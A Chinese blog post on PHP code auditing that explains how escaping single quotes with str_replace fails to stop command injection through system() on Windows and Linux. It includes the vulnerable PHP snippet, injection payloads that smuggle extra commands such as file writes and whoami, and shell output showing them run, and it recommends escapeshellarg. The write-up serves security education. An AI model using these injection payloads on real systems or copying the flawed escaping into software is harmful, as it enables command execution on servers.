php程式碼審計之命令執行中windows/linux的差異化問題

飄渺紅塵✨發表於2021-06-02

  昨天好基友發來了一段程式碼,還是挺有趣的,記錄下:

  

<?php 
    $a = '\''.str_replace("'","\'",$_GET[1]).'\'';
    $b = '\''.str_replace("'","\'",$_GET[2]).'\'';
    echo($a);
    echo "<br/>";
    var_dump($b);
    echo "<br/>";
    var_dump('echo '. $a . $b);
    echo "<br/>";
    system('echo '. $a . $b);
    echo "<br/>";
?>

  程式碼如下,要求windows和linux下執行命令

  先從windows下手吧:

    payload:

test' | echo 123 > helloworld.txt |dir &2=1

  頁面輸出:

  

'test\' | echo 123 > helloworld.txt |dir '
string(3) "'1'" 
string(50) "echo 'test\' | echo 123 > helloworld.txt |dir ''1'" 
驅動器 C 中的卷沒有標籤。 卷的序列號是 4A10-0977 C:\phpStudy\WWW 的目錄 

  發現即使轉義了單引號仍待可以命令執行,問題出在哪裡呢?

  開啟windows cmd:

  直接輸入這段語句:

  

echo 'test\' | echo 123 > helloworld.txt |dir ''1'

  

 

  此時我的桌面上就有了一個helloworld.txt檔案

  其實問題就出在程式設計師誤把\認為是windows的轉義符,其實windows真正的轉義符就是(^):

  我們可以多測試幾次看看:

    測試用例如下:

    先測試有效的:  

C:\Users\maniac123\Desktop>echo 'test\' | echo 123
123

C:\Users\maniac123\Desktop>echo 'test | echo 123
123

C:\Users\maniac123\Desktop>echo 'x''' | echo 123
123

C:\Users\maniac123\Desktop>echo 'x | echo 123'
123'

C:\Users\maniac123\Desktop>

    

 

   發現在windows下,如果使用\'的方式去處理修復rce,是不對的,通過連線符,將會暢通無阻.如果不去處理正確的轉義連線符,會導致rce:

  比如說我這樣輸入:

     

C:\Users\maniac123\Desktop>echo 'x 111.txt\| echo 123'
123'

C:\Users\maniac123\Desktop>

  

  仍然是正常輸出,除非使用^去處理連線符:

C:\Users\maniac123\Desktop>echo 'x 111.txt^| echo 123'
'x 111.txt| echo 123'

C:\Users\maniac123\Desktop>

  

 

 

 

 

 

 

  如果使用^去轉義,只會列印,而不是執行

  那麼上面那段程式碼在windows下無效,建議使用:php自帶的命令執行處理函式escapeshellarg或escapeshellcmd 

  無效測試用例:

    

C:\Users\maniac123\Desktop>echo "xxx | echo 123"
"xxx | echo 123"

C:\Users\maniac123\Desktop>echo "xxx && echo 123"
"xxx && echo 123"

C:\Users\maniac123\Desktop>

  在windows下如果可控的資料被雙引號包裹,那又不一樣了,windows認為他只是字串,他只會原樣輸出:

  

 

 

   這樣,都不需要轉義連線符號,就把漏洞扼殺在搖籃裡了,真的無懈可擊嗎?

  稍微修改下輸入:

    

C:\Users\maniac123\Desktop>echo "xxx^" | whoami
maniac123-pc\maniac123

C:\Users\maniac123\Desktop>echo "xxx\" | whoami
maniac123-pc\maniac123

C:\Users\maniac123\Desktop>echo "xxx/" | whoami
maniac123-pc\maniac123

  如果有程式設計師二次畫蛇添足做多餘轉義處理,那麼就會逃逸導致再次命令執行:

  

 

 

  在windows下只要看到"了,就代表是閉合了,前面什麼符號都沒關係!

 通過這個差異,下次原始碼審計就可以鑽這種空子,實現命令執行.

  windows大致說完了,現在來講講linux下的問題:

   linux的轉義符號有兩個:分別是(\)和(''),大多數都知道前者,後者容易被忽略

   

 

 

 

  都可以起到轉義的作用

    當使用(\)或者('')轉義連線符的時候,命令執行會失敗:

  

 

 

   上測試程式碼:

    

<?php 
    $t1 = "這是可控點1";
    $t2 = "這是可控點2";
    $a = "\'".str_replace("'","\'",$t1)."\'";
    $b = "\'".str_replace("'","\'",$t2)."\'";
    echo $a;
    echo($a);
    echo "<br/>";
    var_dump($b);
    echo "<br/>";
    var_dump('echo '. $a . $b);
    echo "<br/>";
    system('echo '. $a . $b);
    echo "<br/>";
?>

  直接給出payload:

    

<?php 
    $t1 = "' && echo 11111111 > hello.txt && '";
    $t2 = "\'";
    $a = "\'".str_replace("'","\'",$t1)."\'";
    $b = "\'".str_replace("'","\'",$t2)."\'";
    echo $a;
    echo($a);
    echo "<br/>";
    var_dump($b);
    echo "<br/>";
    var_dump('echo '. $a . $b);
    echo "<br/>";
    system('echo '. $a . $b);
    echo "<br/>";
?>

 

    列印輸出看下:

  

\'\' && echo 11111111 > hello.txt && \'\'\'\' && echo 11111111 > hello.txt && \'\'<br/>string(7) "\'\\'\'"
<br/>string(53) "echo \'\' && echo 11111111 > hello.txt && \'\'\'\\'\'"
<br/>''
sh: '''\\: command not found

 

  把這部分取出來即可:

"echo \'\' && echo 11111111 > hello.txt && \'\'\'\\'\'"

  單獨拎出來:

  

echo \'\' && echo 11111111 > hello.txt && \'\'\'\\'\'

  linux cmd下執行下:

    

 

  為什麼可以?

    前面的程式碼發現,這裡把'轉換成\',比較有迷惑性的輸入:

    

 \'\'\'\\'\'

  再次執行:

  

 

  輸出

'''\\

  前面說了linux 下 '*'才是轉義符,\也是轉義符:

  分開執行:

  

 

   這樣就清晰多了

    linux和windows下區別很大:

  如果linux這樣做,直接gg了,引號包裹裡面,就扼殺了命令執行的可能性:

    

 

 

  還是\'使用不當,導致想輸入的惡意語句逃逸:

    

[root@VM-0-6-centos ~]# cat 123.txt
cat: 123.txt: 沒有那個檔案或目錄
[root@VM-0-6-centos ~]# echo '\'|echo 123 > 123.txt|\\''
-bash: \: 未找到命令
[root@VM-0-6-centos ~]# cat 123.txt
123
[root@VM-0-6-centos ~]# 

 

     

 

 

   為什麼可以執行命令?因為轉義符!導致我們的{echo 123 > 123.txt}是一個整體,直接命令執行

    其實不借助第二個可控引數,仍然可以命令執行只要這樣: 

<?php 
    $t1 = "' && echo 11111111 > hello.txt && '";
    $t2 = "";
    $a = "\'".str_replace("'","\'",$t1)."\'";
    $b = "\'".str_replace("'","\'",$t2)."\'";
    echo $a;
    echo($a);
    echo "<br/>";
    var_dump($b);
    echo "<br/>";
    var_dump('echo '. $a . $b);
    echo "<br/>";
    system('echo '. $a . $b);
    echo "<br/>";
?>

  輸出

\'\' || echo 11111111 > hello.txt || \'\'\'\' || echo 11111111 > hello.txt || \'\'<br/>string(4) "\'\'"
<br/>string(50) "echo \'\' || echo 11111111 > hello.txt || \'\'\'\'"
<br/>''
<br/>

  其中最終的輸出的是:

    

echo \'\' || echo 11111111 > hello.txt || \'\'\'\'

  都一一轉義了,此時此刻{echo 11111111 > hello.txt}就是一個整體

  那麼在linux下命令執行修復方案如下:建議使用:php自帶的命令執行處理函式escapeshellarg或escapeshellcmd     

  還是比較有意思的,呵呵  

相關文章